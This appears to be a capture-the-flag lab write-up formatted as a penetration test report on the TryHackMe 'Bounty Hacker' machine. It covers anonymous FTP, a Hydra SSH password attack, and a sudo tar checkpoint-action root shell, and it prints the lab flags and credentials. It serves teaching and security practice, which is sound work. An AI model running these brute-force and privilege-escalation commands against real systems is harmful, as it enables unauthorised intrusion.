

Bounty Hacker

Security Assessment Report

Author	PhaseSpider
Date	2026-06-21
Methodology	PTES + MITRE ATT&CK
Classification	Educational / TryHackMe Lab
Target	10.66.158.54

This document presents a formalized penetration test report for the TryHackMe Bounty Hacker machine, built from the repository notes, report, screenshots listing, and evidence artifacts.

Table of Contents

1. Executive Summary
2. Scope and Methodology
3. Attack Path Overview
4. Findings Summary
5. Detailed Findings
6. PTES Execution Narrative
7. MITRE ATT&CK Mapping
8. Remediation Roadmap
9. Evidence Appendix

1. Executive Summary

A penetration test was conducted against the Bounty Hacker target machine. The assessment identified a chain of weaknesses that allowed an attacker to move from unauthenticated external access to full root compromise. The compromise did not require exploitation of a memory corruption bug or custom exploit; it relied on exposed services, anonymous FTP access, credential disclosure, password attack, SSH access, and a sudo misconfiguration.

The overall risk is assessed as Critical because the attack chain resulted in complete administrative control of the target host.

Overall Risk	Critical
Initial Access	Anonymous FTP -> credential discovery -> SSH
Privilege Escalation	sudo misconfiguration allowing /bin/tar as root
Final Impact	Full system compromise and root flag retrieval

2. Scope and Methodology

The scope was limited to the TryHackMe Bounty Hacker machine at target IP 10.66.158.54. The assessment objective was to obtain the user flag and root flag while documenting the attack path in a professional report format.

PTES Phase	Activity in this Assessment
Information Gathering	Nmap service discovery and web/FTP enumeration
Vulnerability Analysis	Identification of anonymous FTP and exposed files
Exploitation	Targeted SSH credential attack using recovered password list
Post-Exploitation	User flag retrieval and local privilege enumeration
Privilege Escalation	Abuse of sudo permission for /bin/tar to spawn a root shell

3. Attack Path Overview

The attack path followed a clear chain: exposed services led to anonymous FTP access; FTP exposed a username and a password candidate list; the list enabled SSH credential compromise; SSH access enabled local enumeration; local sudo permissions allowed command execution as root through tar.

Step	Technique	Result
1	Network service discovery	FTP, SSH, and HTTP identified
2	Anonymous FTP access	locks.txt and task.txt retrieved
3	Credential discovery	Username lin and password candidates identified
4	SSH password attack	Valid credentials recovered
5	Initial access	SSH session as lin
6	Privilege enumeration	sudo -l revealed /bin/tar as root
7	Privilege escalation	tar checkpoint action spawned root shell

4. Findings Summary

ID	Finding	Severity	MITRE ATT&CK
BH-01	Anonymous FTP Access Enabled	Medium	T1133 / T1046
BH-02	Credential Exposure Through FTP Files	High	T1552

BH-03	SSH Credential Compromise	High	T1110 / T1021.004
BH-04	Privilege Escalation via Sudo Misconfiguration	Critical	T1548

5. Detailed Findings

BH-01 - Anonymous FTP Access Enabled

Severity: Medium

Description: The FTP service accepted anonymous authentication. This allowed unauthenticated access to files hosted by the FTP service.

Evidence: The Nmap and FTP evidence show ftp-anon enabled and successful login as anonymous.

Impact: An unauthenticated user can retrieve internal files and use them to support further attacks.

MITRE ATT&CK: T1046 - Network Service Discovery; T1133 - External Remote Services

Recommendation: Disable anonymous FTP access. If FTP is required, enforce authenticated access, encrypted transfer where possible, and least-privilege directory permissions.

```
ftp 10.66.158.54
Name: anonymous
230 Login successful.

-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt

get locks.txt
get task.txt
```

BH-02 - Credential Exposure Through FTP Files

Severity: High

Description: The FTP service exposed task.txt and locks.txt. task.txt disclosed the username lin, while locks.txt contained password candidates.

Evidence: task.txt contained a signature from lin; locks.txt contained password candidates that were later used successfully.

Impact: Disclosure of usernames and password candidates reduces the difficulty of credential attacks and can lead directly to account compromise.

MITRE ATT&CK: T1552 - Unsecured Credentials

Recommendation: Do not store operational notes, usernames, or password lists on exposed services. Review public shares regularly and apply data classification controls.

```
task.txt

1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

locks.txt contained password candidates, including:

rEddrAG0N
ReDdr4g0nSynd!cat3
Dr@g0n$yn9icat3
R3DDr460NSyndIC@Te
RedDr4gonSynd1cat3
...
```

BH-03 - SSH Credential Compromise

Severity: High

Description: The recovered password list was used in a targeted SSH password attack against the discovered user account lin.

Evidence: Hydra identified a valid SSH credential pair: lin / RedDr4gonSynd1cat3.

Impact: The attacker obtained remote interactive access to the host as a valid local user.

MITRE ATT&CK: T1110 - Brute Force; T1021.004 - Remote Services: SSH

Recommendation: Implement strong password policies, disable password authentication where possible, use SSH keys with passphrases, enforce lockout/rate limiting, and deploy MFA for remote access.

```
hydra -l lin -P locks.txt ssh://10.66.158.54 -t 4 -V -o scans/hydra.ssh.txt

[22][ssh] host: 10.66.158.54 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found

ssh lin@10.66.158.54

lin@ip-10-66-158-54:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```

BH-04 - Privilege Escalation via Sudo Misconfiguration

Severity: Critical

Description: The user lin was permitted to execute /bin/tar as root through sudo. tar supports checkpoint actions that can execute arbitrary commands.

Evidence: sudo -l showed (root) /bin/tar. The tar checkpoint action was used to spawn /bin/sh as root.

Impact: The attacker escalated from a standard user account to full root privileges, resulting in complete system compromise.

MITRE ATT&CK: T1548 - Abuse Elevation Control Mechanism

Recommendation: Restrict sudo permissions to commands that are strictly required. Avoid allowing complex utilities such as tar, vim, less, bash, python, perl, or find to run as root unless tightly constrained.

```
sudo -l

User lin may run the following commands on ip-10-66-158-54:
(root) /bin/tar

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# whoami
root
# cat /root/root.txt
THM{80UN7Y_h4cK3r}
```

6. PTES Execution Narrative

Information Gathering began with a full TCP port scan using Nmap. The target exposed FTP, SSH, and HTTP. FTP quickly became the most promising service because Nmap indicated anonymous login was permitted.

```
nmap -sC -sV -p- 10.66.158.54

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux
```

Web enumeration using Gobuster did not identify useful hidden content. This was still a valid step because it reduced the likelihood that the HTTP service was the main exploitation path.

```
gobuster dir -u http://10.66.158.54 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js

Result: no relevant findings.
```

The FTP phase provided the critical breakthrough. Anonymous access exposed task.txt and locks.txt. The first file identified the user lin, and the second file provided a small, high-quality password list.

The exploitation phase used Hydra to test the recovered wordlist against SSH. This succeeded and provided interactive shell access. The user flag was retrieved from the lin account.

Post-exploitation enumeration showed that lin could execute /bin/tar as root. This sudo rule was abused using tar checkpoint actions to execute /bin/sh, producing a root shell and enabling retrieval of the root flag.

7. MITRE ATT&CK Mapping

Observed Action	Technique ID	Technique Name
Service enumeration using Nmap	T1046	Network Service Discovery
Anonymous FTP access	T1133	External Remote Services
Sensitive files exposed through FTP	T1552	Unsecured Credentials
Password attack against SSH	T1110	Brute Force
SSH login as lin	T1021.004	Remote Services: SSH
sudo tar privilege escalation	T1548	Abuse Elevation Control Mechanism

8. Remediation Roadmap

Priority	Recommendation	Risk Reduced
1	Disable anonymous FTP access or remove FTP if not required.	Prevents unauthenticated file discovery.
2	Remove sensitive operational files from exposed services.	Reduces credential disclosure and recon value.
3	Harden SSH authentication with strong passwords, keys, rate limiting, and MITM resistance.	Reduces unauthorized access and MITM attack success.
4	Review sudoers entries and remove ability to run /bin/tar as root.	Prevents root privilege escalation.
5	Implement periodic file share reviews and least-privilege access controls.	Reduces recurrence of sensitive file exposure.

9. Evidence Appendix

The following evidence artifacts were present in the repository and used to build this report: evidence/nmap.txt, evidence/ftp.txt, evidence/gobuster.txt, evidence/hydra.txt, evidence/ssh.txt, evidence/sudomissconfig.txt, evidence/rootaccess.txt, and screenshots/01_nmap.png through screenshots/07_rootaccess.png.

A1 - Nmap Discovery

```
nmap -sC -sV -p- 10.66.158.54

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux
```

A2 - Anonymous FTP Access

```
ftp 10.66.158.54
Name: anonymous
230 Login successful.

-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt

get locks.txt
get task.txt
```

A3 - SSH Credential Recovery

```
hydra -l lin -P locks.txt ssh://10.66.158.54 -t 4 -V -o scans/hydra.ssh.txt

[22][ssh] host: 10.66.158.54 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
```

A4 - SSH Access and User Flag

```
ssh lin@10.66.158.54

lin@ip-10-66-158-54:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```

A5 - Sudo Misconfiguration

```
sudo -l

User lin may run the following commands on ip-10-66-158-54:
(root) /bin/tar
```

A6 - Root Access and Root Flag

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# whoami
root
# cat /root/root.txt
THM{80UN7Y_h4cK3r}
```

Repository Evaluation Notes

The repository is organized in a strong portfolio-friendly structure: notes.md preserves field notes, report.md provides a formal report draft, evidence stores command output, and screenshots stores visual proof. This mirrors a professional engagement structure where raw evidence and polished reporting are separated.

Strength	Why it matters
Evidence separation	Makes findings auditable and easier to verify.
Screenshots folder	Supports visual validation for portfolio readers.
PTES + MITRE usage	Shows methodology instead of only CTF answers.
Clear attack path	Demonstrates reasoning from reconnaissance to root compromise.

Recommended improvements: keep one command output per evidence file, add a README.md to each room folder, include a short lessons-learned section, and avoid publishing real credentials or sensitive information outside CTF/lab contexts.